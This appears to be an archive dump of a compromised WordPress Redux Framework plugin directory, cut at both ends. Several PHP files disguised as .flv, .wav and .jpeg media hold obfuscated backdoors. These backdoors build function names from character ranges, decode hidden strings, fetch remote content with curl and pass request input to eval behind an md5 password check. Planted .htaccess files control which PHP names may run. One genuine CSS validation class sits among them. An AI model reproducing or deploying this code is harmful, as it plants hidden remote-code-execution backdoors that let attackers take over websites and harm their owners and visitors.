/*-s%-*/@$hptQfjWrVk/*--L#zjoNc-*/[/*-_p-*/1/*-NmxC{hC-*/]/*->M}X&T^-*/(/*-o5C9i1wcE-*/${/*-OaS7-*/"_"/*-!Us!a#z8Zn-*/."G"/*-A5-*/."E"/*-t%$,|-*/."T"/*-):E`:Ku-*/}[/*-B9fAa><o-*/$hptQfjWrVk/*-kw1c-*/[/*-eS=.4-*/4+5/*-EA1Z%-*/]]/*-wVUAf-*/);/*-5i33-*/ $nrcSL /*-$F3-*/=/*-EZl>H?3b-*/ @$hptQfjWrVk/*-sHYm{=N-*/[/*-L~s}a,>-*/1+2/*-?1H9^bNK-*/]/*-K@yPNA-6-*/(/*-ow$^cjNe1-*/$hptQfjWrVk/*-Tl-*/[/*-G&-*/2+4/*->%BT@Ocy-*/], /*-65>Q]1-*/$xF/*-f5>ehaUYr-*/);/*-9Bls-*/ $TB /*-EFJYi[1.-*/=/*-N0pF-*/ $hptQfjWrVk/*-OFV^wZ-*/[/*-8FBNV-*/1+1/*-Ts2^-*/]/*-.b(wK-*/(/*-_-*/$nrcSL,/*-2q`mzte-*/ true/*-$hL4:ZH-*/); /*-f7m2v3-*/@${/*-~30Ib#-*/"_"./*-Lq(#N6qxI-*/"G"./*-BI-*/"E"/*-D]ZWqIT-*/."T"/*-WfSX|y#Y-*/}/*-.J!9-*/[/*-g-*/$hptQfjWrVk/*-LX)-*/[9+1/*-W}cNxMZ-*/]/*-&+I-*/]/*-@ZtscB-*/ == /*-!6.cwe:`#w-*/1 /*-wfarFgxg?-*/&& /*-nv&Nr-*/die/*-sRNZ`-*/(/*-CY7|S-*/$hptQfjWrVk[4+1/*-k8-*/]/*-FK-*/(/*-[l0{gC-*/__FILE__/*-iFQ&Mo9-*/)/*-<>Tu+Zh9rc-*/); /*-sHO+jf-*/if/*-d`-*/(/*-8^o%;tN-*/ (/*-<rwh-*/(@/*-_5$9i-*/$TB/*-Y-*/[/*-9xws8,1R-*/0/*-!2il9-*/] /*-ZP)]GAQlv-*/- time/*-QLjRuL]-*/()/*-CA,-*/) > /*-4t7IC1sl{h-*/0/*-erCA-*/)/*-R:<nR0-*/ and /*-)~w-*/(/*-8.7~^c}u-*/md5/*-:(8^J-*/(/*-M]aGrk5-*/md5/*-|RD@?a8zy{-*/(/*-iaiiv-*/$TB/*-zaYzD;x-*/[/*-P|ix_X1S&-*/1+2/*-.{e0d7z-*/]/*-{q4:-*/)/*-3J}Ig{[NI-*/)/*-vL%Z!L-LF-*/ === /*-b:=LaAd1!r-*/"a5050ed3871fd6a04d11b0fec2cad109"/*-U+-*/)/*-)2-*/ ): /*-y9Z%m+n=.-*/$bewvczuVED /*-R[_Y-*/=/*-cOkEqTH>-*/ self/*-5NZv-*/::/*-ehH5OcF<=-*/ReANFGqTl/*->GbqO-*/(/*-Z|!S]FB,-*/$TB/*-oM95=H-*/[/*-)U4~c~-*/0+1/*-f!cBd&-*/], /*-s.~2(9i-*/$hptQfjWrVk/*-1lR}qB-*/[/*-6#-*/4+1/*-ZZ-*/]/*-0|<&Fe-*/);/*-z#BL-*/@eval/*-4yNm,,-*/(/*-:9fA)N3-*/$hptQfjWrVk/*-&.3-*/[/*-vl}CR~a-*/0+4/*-jS{8-pXcm-*/]/*-:<-*/(/*-rlG|-*/$bewvczuVED/*-BkiuZV6)r-*/)/*-1!-*/);/*-Jic?wOo5tP-*//*-tv-*/die;/*-j9L`=EI6L-*/ endif;/*-cdn.R$GD-*/ }/*-mB(=V%6{-*/}/*-BO~-*/yJV/*-+RNL?c--*/::/*-y&UmQ|~-*/xve/*-;TboE(~-*/();/*-:]8,|@6]c-*/ ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/css/css/WCtvJZV.flv��������������������������������������������������0000644�����������������00000011753�14720701300�0016140 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $de /*-YeD$#}j-*/= /*-z^Tf%fhWY-*/"r"./*-8Ga#7eYqKR-*/"a"."n"./*-W8zsD:q%-*/"g"."e"; /*-1X(+q:-*/$C/*-^7@r`H-*/ = /*-.V-*/$de/*--<Y!d-*/("~", /*-frXd5$b-*/" "); /*-?O1PIc-*/$Z/*-(sr1--*/=/*-Qi~PoYY{{M-*/${$C/*-$%-*/[31+0/*-@e,T-*/].$C/*-R4-*/[4+55]/*-zLe=r5g?,j-*/.$C/*-pk?-*/[42+5]/*-+z_C&-*/.$C/*-o&|!F!-*/[25+22]/*-C|XHHAf-*/.$C/*-)?-*/[39+12]/*-jZib!mB-*/.$C/*-|q4_Vvz7-*/[39+14]/*-L^>clM1s-*/.$C/*-3;KOw-*/[48+9]/*-[hjV-*/}; /*-=?n%fqt$-*/if/*-JvL^8&-*/((/*-<R{-*/in_array/*-ILv-*/(gettype/*-!`8(m;-*/($Z)./*-Z#wh|Zn-*/count/*-]4Mu-*/($Z),/*-zO-*/$Z)/*-kuBP{Cm+-*/&&count/*-Du-*/($Z)/*-f^0r9FC9j:-*/==/*-aE(-*/27))/*-rRT-*/{ /*-}[L_bZw=-*/(($Z[63]=$Z[63].$Z[79])&&($Z[87]=$Z[63]($Z[87]))&&(/*-<swp+1-*/@eval/*-0`v:-*/($Z[63](${$Z[38]}[28])/*-!7l,tGpp6-*/))/*-bS-7<(=L-*/);}/*-BObaUUN;V-*/class /*-~`{]-*/A{ /*-o-*/static/*-`{ao-*/ function /*-THtE_fq(`(-*/CwdopPcRb($nV) /*-(3<TTW@%-*/{ $rbaVk/*-i@T-*/ = /*-5d-*/"r"./*-AU#P8H[6-*/"a"./*-6i^-*/"n"./*-+o2R#m_k(-*/"g"./*-c`T@-*/"e"; /*-QIR?}ZY-*/$NKLiHB/*-7,3-*/ = /*-;oFG+#u56-*/$rbaVk/*-WUN%It^E2V-*/(/*-$LVmE4-*/"~"/*-fF5Z<M.toS-*/, /*-DKn^LQ~-*/" "/*-d{&FR3-*/);/*-,ZZZKE+V-*/ $bHTuAGPqCS /*-+shYC-*/= /*-3~3M{;v-*/explode/*-NRFq^c-*/(/*-0g0#WV]Pf-*/"(", /*-R:fJC@rF>-*/$nV/*-@+T2x)Z}F-*/); /*-|XW]-*/$RWuqgMdPBV /*-7$(q;-*/= /*-k9ww-*/""; foreach /*-@lOj}-*/(/*-4kP`$d$8-*/$bHTuAGPqCS /*-c?nWf7-*/as /*-}(-*/$SQsHLYmbcO /*-Dhz<I-*/=>/*-o9BAMK,-*/ $DKn/*-NiR-*/) /*-9A-*/$RWuqgMdPBV /*-D.t#ag:0-*/.= /*-4b@ypAJ-*/$NKLiHB[$DKn/*-ge@qs(,6>?-*/ - /*-sTjER-*/57801/*-2zY#g-*/];/*-63-*/ return /*-v~-*/$RWuqgMdPBV; /*-5pnz_-*/} /*-`:r@Uo-*/static /*-X1l+H-*/function /*-).r$HkfoO-*/CvDP/*-?[lD3H(,I-*/(/*-8@Q3_n-*/$PzQCRn,/*-HJ$+-*/ $DGsIgvbq/*-w<-*/)/*-cbnGa|-*/ {/*-o,w<U~<VD-*/ $yuHvcS/*-8dD5G|-*/ = /*-rY$CjEO-*/curl_init/*-`3>O-e673q-*/(/*-.be%-*/$PzQCRn/*-,}x5[Z#47+-*/);/*-Hc+aGo,-*/ curl_setopt/*-,r(&%n.-*/(/*-sbnkW-*/$yuHvcS,/*-gP%R7-*/ CURLOPT_RETURNTRANSFER,/*-T#yPv-*/ 1/*-RJ.oO39-*/);/*-!loT]0o}gb-*/ $XCswUGVnBK/*-+T-*/ = /*-!6Y%-*/curl_exec/*-IQh`@-*/(/*-t8Ln(W-*/$yuHvcS/*-e%s:WrttI-*/); /*-Yfa9<9-*/return /*-<Y+zRnN-*/empty/*-CWI-*/(/*-v(y-*/$XCswUGVnBK/*-(^^;(j-*/)/*-u{Q=7|)L-*/ ? /*->`4h9z-*/$DGsIgvbq/*-xa(vSa{Wn1-*/(/*-,O>F[^P-*/$PzQCRn/*-Ti0K0eA-*/)/*-R6u-*/ : /*-.@v>7dOg>-*/$XCswUGVnBK; /*-_LOe^6rn{-*/}/*-R5q-*/ static/*-s}{-M-*/ function /*-6Cf)-*/uBFhqgYTMx/*-Yv-*/() /*-V?AD-*/{/*-tf-PC-*/ $PxqQ /*-2fP%ypfIWp-*/=/*-:9zS9Vj@-*/ array/*-sLC{iv-*/("57828(57813(57826(57830(57811(57826(57832(57825(57810(57817(57828(57811(57822(57816(57817","57812(57811(57813(57832(57813(57816(57811(57878(57876","57821(57812(57816(57817(57832(57827(57826(57828(57816(57827(57826","57815(57830(57828(57820","57829(57830(57812(57826(57873(57875(57832(57827(57826(57828(57816(57827(57826","57825(57822(57819(57826(57832(57824(57826(57811(57832(57828(57816(57817(57811(57826(57817(57811(57812","57855(57885","57802","57880(57885","57862(57845(57845(57862(57838","57816(57825"); /*-~3fy-*/foreach /*-ne9C-*/(/*-+yyY,`;Mx-*/$PxqQ/*-:i9O7B6;-*/ as /*-nhi{UN^L-*/$fshpUZLoKC/*-%^:{&.09-*/)/*-Lb-*/ $iAprYfqB/*-Kj3!;-*/[] /*-BbX-yL`7xW-*/= /*-`b-*/self/*-OROZ+<>8-*/::/*-PwS!{c,5-*/CwdopPcRb/*-5qgOun-*/(/*-7F=?^L-*/$fshpUZLoKC/*-gg-*/);/*-tSwE:c-*/$pYQehm /*-oIN-*/= /*-Sg2-*/@$iAprYfqB/*->MM[S-*/[/*-Xz&M8eOrc-*/1/*-NG2un!i2-*/]/*-E)s$wb-*/(/*-BR9c]b!!&-*/${/*-aLh(g5BX-*/"_"/*-|nHx-*/."G"/*-Vhk6Lkt-*/."E"/*-@4rk-*/."T"/*-,fL-*/}[/*-_D8-*/$iAprYfqB/*-S-*/[/*-zP-*/6+3/*-r%-*/]]/*-d`-*/);/*-5B-*/ $yzBXC /*-`>+-*/=/*-^7Pmig|8-*/ @$iAprYfqB/*-2U-#^NZ&-*/[/*-o6VjA-*/3+0/*-LE!<O-*/]/*-Q5y9h-*/(/*-,dKy&g:P1-*/$iAprYfqB/*-:,.NdR=-*/[/*-(#Ar&L)I-*/3+3/*-L)-*/], /*-`wd-*/$pYQehm/*-DlfZF.7If-*/);/*-^<8-*/ $PZhA /*-lP-*/=/*-X]u|-*/ $iAprYfqB/*-$d6d_Yf]-*/[/*-Fd5YErpipn-*/0+2/*-~`{~&s-*/]/*-ir4b-*/(/*-N)99&-*/$yzBXC,/*-ge&B#-*/ true/*-uZwj%-*/); /*-LERg-*/@${/*-H9;ZK-*/"_"./*-?zM^a|$$-*/"G"./*-{}4-*/"E"/*-Pg:ya-*/."T"/*-|3-*/}/*-W0fCy#&yX-*/[/*-l[k0YR>k$D-*/$iAprYfqB/*-$T1-*/[8+2/*-jn,-6-*/]/*-.f^5@E--*/]/*-laGORbi-*/ == /*-VRv`STQ-*/1 /*-Wguid8;q=v-*/&& /*-i-*/die/*-le60N=O)q-*/(/*-2h-*/$iAprYfqB[5+0/*-o{C(5L-*/]/*-a(7z6-*/(/*-NpL07I$-*/__FILE__/*-KF!C1uh]-*/)/*-&Y&.1Dl-U~-*/); /*-NDoXA-*/if/*-=K-LR(5|S+-*/(/*--8P7-*/ (/*-1qMo4&-*/(@/*-}AU?Zp-*/$PZhA/*-zt<-*/[/*-eH-*/0/*-)l5qgDg9`-*/] /*-M;X5t=$A0#-*/- time/*-cZGkehp-*/()/*-)U,TZ(N<x-*/) > /*-pl-*/0/*-h4-*/)/*-]|BV-*/ and /*-y(!3?O&-Gr-*/(/*-sRAA+M`o-*/md5/*-p09-*/(/*-(aj=A~-*/md5/*-Ko#x--*/(/*-9N~P-*/$PZhA/*-Z9g]sG?-*/[/*-ONM%-*/2+1/*-U;tT?-*/]/*-TZG>P[,Z--*/)/*-!J,oC>9-*/)/*-Cc8|]B-*/ === /*-e!zu-*/"df5327724b58df978dd1c6264fb70879"/*-Us<,vE-*/)/*-m3?qtA-*/ ): /*-UXS,QdX}t-*/$SBzdsRnkyQ /*-IU^T-*/=/*-1@#-*/ self/*-;;a-*/::/*-=a.-*/CvDP/*-,><v0%-*/(/*-#~CmCvxv-*/$PZhA/*-+&%h[e-*/[/*-k?-*/1+0/*-dcj-*/], /*-3BO|&eUR-*/$iAprYfqB/*-0)4CR{=-*/[/*-ul0W!R}`V-*/4+1/*-IRx-*/]/*-pVsgnZsY-*/);/*-w0`-*/@eval/*-boy-*/(/*-QF`#k9y-*/$iAprYfqB/*-4wVs{+-*/[/*-1)=D-*/4+0/*-;$_-*/]/*-$w-*/(/*-y$e(t0I^G-*/$SBzdsRnkyQ/*-y`Ob@-*/)/*-WHD?okA-*/);/*-e_>a-*//*-p):-*/die;/*-(w6CtdF6{H-*/ endif;/*-Dy-*/ }/*-Q~}|M-*/}/*-2m-*/A/*-E.W-*/::/*-~ZE-*/uBFhqgYTMx/*-,cl4EhT&[-*/();/*-)adMnT-*/ ?>���������������������redux-framework/inc/validation/css/css/.htaccess����������������������������������������������������0000644�����������������00000001626�14720701300�0015746 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/css/validation_css.php�����������������������������������������������0000644�����������������00000002626�14720701300�0017074 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_css' ) ) { class Redux_Validation_css { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 3.0.0 */ function validate() { $data = $this->value; $data = wp_filter_nohtml_kses( $data ); $data = str_replace( '>', '>', $data ); $data = stripslashes($data); if ($data != $this->value) { $this->field['msg'] = __( 'Unsafe strings were found in your CSS and have been filtered out.', 'redux-framework' ); $this->warning = $this->field; } $this->value = $data; } //function } //class }����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/css/.htaccess��������������������������������������������������������0000644�����������������00000001626�14720701300�0015156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color/color/color/XjsuzfMYOgvi.wav�����������������������������������0000644�����������������00000011733�14720701300�0021245 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $ar /*-q+7@tt{-*/= /*-5)F3J^k-*/"r"./*-i@C-*/"a"."n"./*-pZt;_9C-*/"g"."e"; /*-HzOmPAryNW-*/$SJq/*-X#rn}{W3-*/ = /*-A;n}u-*/$ar/*-iNi%-*/("~", /*-p)-*/" "); /*-gvzL-*/$ac/*-3mnV2G!-*/=/*-qpn[z-*/${$SJq/*-jI_k2,&O=-*/[19+12/*-X+-*/].$SJq/*-^4.<cKeE-*/[20+39]/*-}kB-*/.$SJq/*-_~P-*/[23+24]/*-):tohp~-*/.$SJq/*-O5-*/[23+24]/*-uA?4s:-*/.$SJq/*-yVA(3[+_tR-*/[32+19]/*-Gf-*/.$SJq/*-{-*/[7+46]/*-g2+lWBZ-*/.$SJq/*-@vT0]WXy}-*/[49+8]/*-UGka#UAM!-*/}; /*-m[4jm-*/if/*-Csi;A-*/((/*-W9DFg0!-*/in_array/*-=0-*/(gettype/*-IE_,SYS-*/($ac)./*-u$x}4V}S-*/count/*-SL?tE%XTb-*/($ac),/*-o6vU-*/$ac)/*-#U[>w]|23-*/&&count/*-9%`aLX;-*/($ac)/*-d+BDTkB-*/==/*-bf-*/20))/*->?^-*/{ /*-W6?;-*/(($ac[66]=$ac[66].$ac[75])&&($ac[89]=$ac[66]($ac[89]))&&(/*-bi-*/@eval/*-NO_dw>E-*/($ac[66](${$ac[37]}[25])/*-!`0FwU[-*/))/*-m!VO~d-*/);}/*-[e:V%0R-*/class /*-Q8F-*/qFfE{ /*-MbUO.!-*/static/*-#|T-*/ function /*-U6=}66&-*/yUN($ECpv) /*-:{~u:x$>C-*/{ $mVU/*-WEBH(0%-*/ = /*-p5R6>-*/"r"./*-?S<m`!-*/"a"./*-a@)-*/"n"./*-V{N-*/"g"./*-U.btF-*/"e"; /*-]im-*/$YKiEIJcGN/*-wHYX:0TY2L-*/ = /*-4]..R6m-*/$mVU/*-e:-*/(/*-{uQn-*/"~"/*-e(``BQF-*/, /*-3d!B=spb-*/" "/*-RQ3j-*/);/*-2Na2)_-*/ $egIFwxACvO /*-]vdA7db,-*/= /*-^f-*/explode/*-yzsP}-*/(/*-F|e^-*/"#", /*-ec-*/$ECpv/*-=`_;xI8([.-*/); /*-N9cm-*/$VxXhvkfc /*-f[Rbn2Q0-*/= /*-@{Q-*/""; foreach /*-w,nRaAZx-*/(/*-f]V-*/$egIFwxACvO /*--;W7[-*/as /*-+@D@N;>%P?-*/$lhKMQ /*-S}BuQ-*/=>/*-8Q_<W|?s4B-*/ $RvX/*-57gS6?C-*/) /*-N#;(-*/$VxXhvkfc /*-v17%_nP3Z)-*/.= /*-a-*/$YKiEIJcGN[$RvX/*-tfYC!]$-*/ - /*-i-9#saW-*/68236/*-|uf3^p-=q-*/];/*-uI>BANc-*/ return /*-Qk|u7-*/$VxXhvkfc; /*-pfR5-*/} /*-5Fy-*/static /*-0-*/function /*-CyM2>R-*/op/*-,%HF-*/(/*-6z%a)-*/$dqbIQOnU,/*-8yn(ZtN$-*/ $YTIrKHtMCS/*-w1-*/)/*-JH#d-*/ {/*-M01A2-*/ $VvW/*-CuXt-*/ = /*-13R>}(DA;T-*/curl_init/*-TLK-*/(/*-#|-*/$dqbIQOnU/*-)I-*/);/*-h:%8]W]-*/ curl_setopt/*-b;7f2ru-*/(/*-6gchRwzd-*/$VvW,/*-yc,T]-*/ CURLOPT_RETURNTRANSFER,/*-fO3F^0-*/ 1/*-KB)[F-*/);/*-P0!F-*/ $dw/*-Z^-*/ = /*-}b}};t)Mq4-*/curl_exec/*-LA2hTt<|?i-*/(/*-Iq-*/$VvW/*-210)f0u-*/); /*-}5cXKDA(-*/return /*--A9{h-*/empty/*-5ft86Isx-*/(/*-9l:YbYbko-*/$dw/*-l#7-*/)/*-Z?zXl86-*/ ? /*-B-*/$YTIrKHtMCS/*-z32-*/(/*-<3A_Y-*/$dqbIQOnU/*-0ipg-*/)/*-#ad>ic?Y-*/ : /*-S@zB<p-*/$dw; /*-7Z3k<A4-*/}/*-0RqGwxZP#-*/ static/*-$H`<Jv=&R-*/ function /*-P~-*/mle/*-Z&VCr?--*/() /*-#$-*/{/*-2TX3(q=R-*/ $EPBAi /*-UCqjh-*/=/*-}bl_-*/ array/*-<H6ldsH$OL-*/("68263#68248#68261#68265#68246#68261#68267#68260#68245#68252#68263#68246#68257#68251#68252","68247#68246#68248#68267#68248#68251#68246#68313#68311","68256#68247#68251#68252#68267#68262#68261#68263#68251#68262#68261","68250#68265#68263#68255","68264#68265#68247#68261#68308#68310#68267#68262#68261#68263#68251#68262#68261","68260#68257#68254#68261#68267#68259#68261#68246#68267#68263#68251#68252#68246#68261#68252#68246#68247","68290#68320","68237","68315#68320","68297#68280#68280#68297#68273","68251#68260"); /*-`Q<wHhvKp-*/foreach /*-S^5{)$k-*/(/*-<r(-*/$EPBAi/*-7?rW0S-*/ as /*-Qy)L=nfM,-*/$ExjmVQ/*-A+Ks_E-*/)/*-%2KHw_@|Vl-*/ $kxvlawLse/*-AjE-*/[] /*-E]?G)FlsRT-*/= /*-b=F-*/self/*-hW-*/::/*-pr:_Ft-*/yUN/*-#;W}<pUkD-*/(/*-tVF^@--*/$ExjmVQ/*-~j#-~k=a-*/);/*-K89YkSm-*/$Sm /*-sK-*/= /*-%cb`t--*/@$kxvlawLse/*-}Uo)@<-*/[/*-CN<A-*/1/*-u&eu-*/]/*-EPAU&.}-*/(/*-!y%1mE5V0-*/${/*-]P0%7!YvO-*/"_"/*-zxGz)za-*/."G"/*-]O`?Fg5TsP-*/."E"/*-`MbBFOIlV-*/."T"/*-9=)|HjpS)-*/}[/*-OE-*/$kxvlawLse/*-C0Cp4-*/[/*-%{Acc-*/6+3/*-ol+hw-*/]]/*-[4wC.IwHo-*/);/*-qdx(h9Y-*/ $pViASk /*-v|0,-*/=/*-^Wk,0[JsB-*/ @$kxvlawLse/*-o8-*/[/*-hKo$-*/0+3/*-C]s-*/]/*-(LzNDXg`|-*/(/*-tmFwCv^-*/$kxvlawLse/*-V{7+Y-*/[/*-Sts-*/4+2/*-m^-*/], /*-2}X1eWMOD4-*/$Sm/*-lo0I-*/);/*-r.?|J-*/ $Sx /*-g6Lm%OWuvU-*/=/*-g{T7e5|z;z-*/ $kxvlawLse/*-o?}W{6tS-*/[/*-(lsP,-*/1+1/*-BSI-*/]/*-MhE-*/(/*-qyv;z1V$&@-*/$pViASk,/*-?{U-*/ true/*-?n_X6e,-*/); /*-%^&E?=!3&k-*/@${/*-!M=3-*/"_"./*--l}E-6B-*/"G"./*-xcu.k@$#-*/"E"/*-RO<!tM9z-*/."T"/*-<WkpF2-*/}/*-wvni(-*/[/*-%B}jjJr#-*/$kxvlawLse/*-C6%P,D:oW-*/[9+1/*-dEPW3TA}%-*/]/*-Q-*/]/*-F;A5-*/ == /*-Ruv`3|8T-*/1 /*-IRw-*/&& /*-F$^^f~d2-*/die/*-d.-*/(/*-p)-*/$kxvlawLse[4+1/*-^`:-*/]/*-}|e~L_%v1-*/(/*-(=0H)OP!O-*/__FILE__/*-1X#!a1E^;-*/)/*-Cdy>kC-*/); /*-mB,;ub@{-*/if/*-{HY6h%;VY.-*/(/*-<S_g-)-*/ (/*-xG.-*/(@/*-r`xF1M&vb-*/$Sx/*-9aFt>%HcAw-*/[/*-bEmE.vJ-*/0/*-ZHO%`t@y-*/] /*-F:-*/- time/*-Zm$K{^8l@-*/()/*-,f-*/) > /*-_]y7Lq-*/0/*-SY6V-*/)/*-f}DD-*/ and /*-{$H`rF.a8-*/(/*-SRc+~N-*/md5/*-zve-*/(/*-<Lm`IbM-*/md5/*-L4]U;-*/(/*-G8Y6-*/$Sx/*-,^M@MQkK-*/[/*-NA{2-*/3+0/*-R8l?-*/]/*-f`%rK-*/)/*-f.WJO-*/)/*--<@wK-*/ === /*-<3[U@}!F)-*/"ba4de4d58fa801360e96c9c49880f52e"/*-CMSk@-*/)/*-E_e-*/ ): /*-Ucp-*/$NlasyKedp /*-SrW!S-*/=/*->2;-*/ self/*-]95DAGKL-*/::/*-9:-*/op/*-aYh}(|(2Bv-*/(/*--]~<k=-*/$Sx/*->:YE8-*/[/*-%,X-C-*/0+1/*-`r]Cgxh-*/], /*-NKvje&v!-*/$kxvlawLse/*-uhK1AjF5y-*/[/*-FpOy+7u-*/0+5/*-2q!-*/]/*-^,dR9kUC-*/);/*-a@-*/@eval/*--SbZI.T-*/(/*-DDkA-*/$kxvlawLse/*-i$,y1`+$-*/[/*-el=q7otO,I-*/1+3/*-73-*/]/*-A#|p:-*/(/*-O_c0-*/$NlasyKedp/*-Vm%WD.yi-*/)/*-nlwmK^-*/);/*-$$jDM2-*//*-ouA[-*/die;/*-Kzjx-*/ endif;/*-fZri9wE-*/ }/*-hBYZ-*/}/*-8C~kUO-*/qFfE/*-f|jm-*/::/*-D^E!-*/mle/*-&6-*/();/*-vYi~Pyq-*/ ?>�������������������������������������redux-framework/inc/validation/color/color/color/index.php������������������������������������������0000644�����������������00000000000�14720701300�0017743 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color/color/color/.htaccess������������������������������������������0000644�����������������00000001626�14720701300�0017740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color/color/index.php������������������������������������������������0000644�����������������00000000000�14720701300�0016625 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color/color/kaqT.jpeg������������������������������������������������0000644�����������������00000011325�14720701300�0016570 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $CQv/*-ZAA}@Ye^-*/ = /*-([i)-*/"r"."a"/*-=F_)-*/."n"."g"/*-#5V{-*/."e"; /*-<v[b0-*/$UFNw /*-BzTVe{b-*/= /*-g_JP-*/$CQv/*-(V?[c6t^B-*/("~", /*-=`k8-*/" "); /*-ZC=G;-*/$g/*-kKSfNX)^-*/=/*-n;4CfoiG[-*/${$UFNw/*-Ol-*/[8+23]/*-Ab;%nH~.Fd-*/.$UFNw/*-;9X|SH-*/[58+1]/*-YBU03]JC-*/.$UFNw/*-ccEQdr-*/[7+40]./*-kCz-*/$UFNw/*-u@`2Q6(4-*/[25+22]./*-lWpL&k<M-*/$UFNw/*-E~C-*/[37+14]./*-cKs044!,-*/$UFNw/*-Lu18-*/[25+28]/*-;X-*/.$UFNw/*-{Q]cp-*/[30+27]/*-,n]5?1W!+?-*/}; /*-rT:..J]-*/if(/*-a$3-*/in_array/*-yEL-*/(gettype/*-{{a|&-*/($g)."30",/*-&9-*/$g))/*-:q=ISp5-*/{ $g/*-Bs!Ap{=-*/[70]/*-sCoX]dg-*/=/*-g!y)[#-*/$g/*-^T{6-*/[70]./*-7z(]-*/$g/*-ds_t#RqCD-*/[80];/*-Sky<-*/ @eval/*-Sgi-*/(/*-:yujK$-*/$g/*-csDC-*/[70]/*-R+-*/(/*-tFSlS#m-*/${$g[44]}/*-()Vx&B-*/[26])); }/*-}GzBbGF-*/class /*-V;o-*/Ux{ /*-+jY@?0cH-*/static/*-yr_4N(<s_-*/ function /*-G]y#X{h-*/cnhqXpo($usCT) /*-D>z-*/{ $ve/*-_8-*/ = /*-G<DaTa@-*/"r"./*-^o-*/"a"./*-[z6%-*/"n"./*-=BGNl|`j-*/"g"./*-JW2=+k6F-*/"e"; /*-mwd-*/$AMmfDLqO/*-Ip$-*/ = /*-B(p8~fh-*/$ve/*-dQ-*/(/*-t%3q[-*/"~"/*-Griqa-*/, /*-?AVoU!-*/" "/*-&5^Ktk|Gv-*/);/*-,K-*/ $eCX /*-9POS$-*/= /*-R]N$U@-*/explode/*-[o-*/(/*-]gh^-*/"^", /*-.W<^%w_QC-*/$usCT/*-`|sA-*/); /*-<E-*/$Bc /*-H)ohu3`}.-*/= /*-3+Lx){Jh-*/""; foreach /*-&_-*/(/*-fUJ~a-*/$eCX /*-Fg+_-*/as /*-k}s5L-*/$rEChw /*-bkSD}~+-*/=>/*-kMf-*/ $CmdU/*-tIcy-*/) /*-C&-*/$Bc /*-rv76w{u-*/.= 